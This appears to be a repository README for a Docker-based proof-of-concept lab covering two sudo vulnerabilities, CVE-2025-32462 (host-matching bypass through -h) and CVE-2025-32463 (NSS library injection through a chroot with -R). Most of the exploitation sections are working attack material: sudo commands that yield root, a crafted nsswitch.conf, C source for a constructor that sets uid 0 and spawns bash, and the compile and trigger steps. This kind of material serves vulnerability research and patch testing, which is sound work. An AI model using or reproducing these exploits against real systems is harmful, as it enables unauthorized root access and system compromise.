CVE-2025-32462 & CVE-2025-32463 – Advanced PoC Lab

This repository provides a container-based lab and detailed PoC for two critical sudo vulnerabilities:

CVE-2025-32462 – sudo -h host matching logic bypass
CVE-2025-32463 – sudo -R chroot NSS library escape

Research & Credit

Original research by Rich Mirch – Stratascale CRU
PoC and lab environment by MAAYTHM

Technical Overview

CVE-2025-32462 – Host Validation Logic Bypass

Sudo enforces host-based authorization through Host_Alias in /etc/sudoers.
The vulnerability occurs when the -h option is supplied: sudo evaluates the supplied hostname rather than the system's canonical hostname, allowing restricted users to bypass host-based sudo policies.

Impact:

Host-based policy bypass
Privilege escalation
Unauthorized root command execution

CVE-2025-32463 – NSS Injection via Chroot

Sudo’s -R option allows execution in a chroot environment. During initialization, NSS (Name Service Switch) libraries are loaded based on /etc/nsswitch.conf. By providing a malicious chroot environment and custom NSS library, an attacker can execute code as root.

Attack Surface:

Controlled chroot filesystem
Attacker-defined nsswitch.conf
Custom NSS shared library loaded dynamically
Constructor code executes with elevated privileges

Impact:

Root privilege escalation
Arbitrary code execution within chroot context

Lab Environment

Base OS: Ubuntu 24.04
Vulnerable sudo version: 1.9.16p2
Users: pwn (non-root)
Isolation: Docker container with custom network

Repository Structure

CVE-2025-32462-CVE-2025-32463-PoC-Lab
├── Dockerfile
│   # Builds vulnerable sudo environment
│
├── exploit/
│   ├── cve_2025_32463.c
│   │   # Malicious NSS shared library used for privilege escalation
│   └── build.sh
│       # Compiles the exploit payload into a shared NSS module
│
├── lab/
│   └── setup.sh
│       # Automates vulnerable lab configuration and sudoers setup
│
└── README.md
    # Technical documentation, vulnerability analysis, and PoC usage guide

Full technical analysis, PoC walkthrough, and exploitation guide

Docker Lab Setup

FROM ubuntu:24.04

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && \
    apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \
                       pkg-config libssl-dev git nano gcc && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /opt
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
    tar xzf sudo-1.9.16p2.tar.gz && \
    cd sudo-1.9.16p2 && \
    ./configure --disable-gcrypt --prefix=/usr && \
    make && make install

RUN useradd -m -s /bin/bash pwn && \
    echo 'pwn:pwn' | chpasswd

USER pwn
WORKDIR /home/pwn

CMD ["/bin/bash"]

Build & Run Lab

docker build -t sudo-vuln-lab .
docker network create --subnet=172.190.0.0/16 sudolabnet
docker run -d \
  --network sudolabnet \
  --ip 172.190.0.3 \
  --hostname lowpriv.test.local \
  --add-host highpriv.test.local:172.190.0.2 \
  --name lowpriv \
  sudo-vuln-lab tail -f /dev/null

CVE-2025-32462 – Exploitation

docker exec -u root -it lowpriv bash
echo 'Host_Alias HIGH = highpriv.test.local' >> /etc/sudoers
echo 'Host_Alias LOW = lowpriv.test.local' >> /etc/sudoers
echo 'pwn HIGH,!LOW = NOPASSWD:ALL' >> /etc/sudoers

Normal behavior:

sudo id
# Password required

Exploitation:

sudo -h highpriv.test.local id
# uid=0(root) gid=0(root) groups=0(root)
sudo -h highpriv.test.local hostname -f
# lowpriv.test.local

CVE-2025-32463 – Exploitation

mkdir -p exploitDir/etc
echo 'passwd: /cve_2025_32463' > exploitDir/etc/nsswitch.conf
mkdir libnss_
cp /etc/group exploitDir/etc/

Malicious NSS library:

#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void GIVEMEROOT(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}

Compile:

gcc -shared -fPIC -Wl,-init,GIVEMEROOT -o libnss_/cve_2025_32463.so.2 cve_2025_32463.c

Trigger:
sudo -R exploitDir <command>
# Root shell obtained
id
# uid=0(root) gid=0(root)

Most Popular

CVE-2025-32462-CVE-2025-32463-PoC-Lab